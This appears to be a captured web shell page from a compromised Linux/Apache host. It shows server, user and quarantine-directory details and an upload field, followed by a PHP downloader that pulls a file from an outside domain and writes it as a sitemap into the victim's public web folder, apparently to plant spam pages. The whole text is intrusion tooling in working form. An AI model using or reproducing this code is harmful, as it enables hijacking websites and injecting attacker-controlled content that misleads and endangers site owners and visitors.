Server : Apache System : Linux ls31.server.ly 3.10.0-962.3.2.lve1.5.68.el7.x86_64 #1 SMP Wed Apr 6 11:12:23 UTC 2022 x86_64 User : medchoco ( 2906) PHP Version : 8.3.16 Disable Function : mail Directory : /home/medchoco/.quarantine/ |
Upload File : |
<?php function get_file($source, $localname) { $file = fopen('php://temp/maxmemory:0', 'w+b'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $source); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FILE, $file); curl_exec($ch); rewind($file); file_put_contents($localname, stream_get_contents($file)); fclose($file); curl_close($ch); echo $localname . ' - ' . filesizemb($localname) . ' MB' . PHP_EOL; } function filesizemb($file) { return number_format(filesize($file) / pow(1024, 2), 3, '.', ''); } get_file('https://kentuckyfriedbeef.com/static/html/CSN/OLDSINGLEHT/HTML/EN/893/sitemap.xml', '/home/medchoco/public_html/gaming-online/sitemap.xml');